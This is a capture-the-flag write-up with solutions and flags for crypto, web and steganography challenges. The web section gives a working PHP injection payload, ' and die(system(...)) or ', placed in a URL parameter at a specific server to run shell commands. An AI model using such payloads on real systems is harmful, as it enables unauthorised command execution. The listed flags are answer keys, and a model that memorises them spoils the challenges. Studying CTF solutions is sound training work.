Cybercoliseum Ⅲ.md

Cybercoliseum Ⅲ Write-up

Crypto

Crypto - Hills

Cipher

-------------------------
|76 |101|115|116|101|114|
-------------------------
|32 |83 |97 |110|100|101|
-------------------------
|114|115|32 |115|104|111|
-------------------------
|117|108|100|32 |104|101|
-------------------------
|108|112|32 |121|111|117|
-------------------------
|32 |58 |41 |41 |41 |42 |
-------------------------

KLZCOUKTVOUWUKDOBGZVJIIIRGVHXCRQUCNOX_IBBL 

This is Hill Cipher, see how it works or use an online decoder

https://www.dcode.fr/hill-cipher

FLAG:

CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}

WEB

WEB - Old version

Here we see that this is an LFI vulnerability.

Payload:

    ' and die(system("cat index.php")) or '

http://62.173.140.174:46005/index.php?page=' and die(system("cat index.php")) or '

FLAG:

CODEBY{php_lf1_t0_rc3_d0ne}

Steganography

Stego - Omniscient

Use stegsolve or other tools and set Alpha plane 1 mode

Stegsolve: https://github.com/zer00d4y/stegsolve

FLAG:

CODEBY{4nd_i_c4n_se3}

Stego - Neural network

We see that one sentence is written with different case

Replace small letters with A, capital letters with B

In TexT steGaNograpHY, the SECRet MEsSage Is tYPiCallY emBdded bY making suBtIE MOdiFIcATioNs

BA BAAB AAABABAAAAABB AAA BBBBAA BBABAAA BA ABBABAAAB AABAAAA AB AAAAAA AABABB BBAABBABBAABA

Bacon Cipher decoder

FLAG:

CODEBY{URIGHTITISBAC?NS}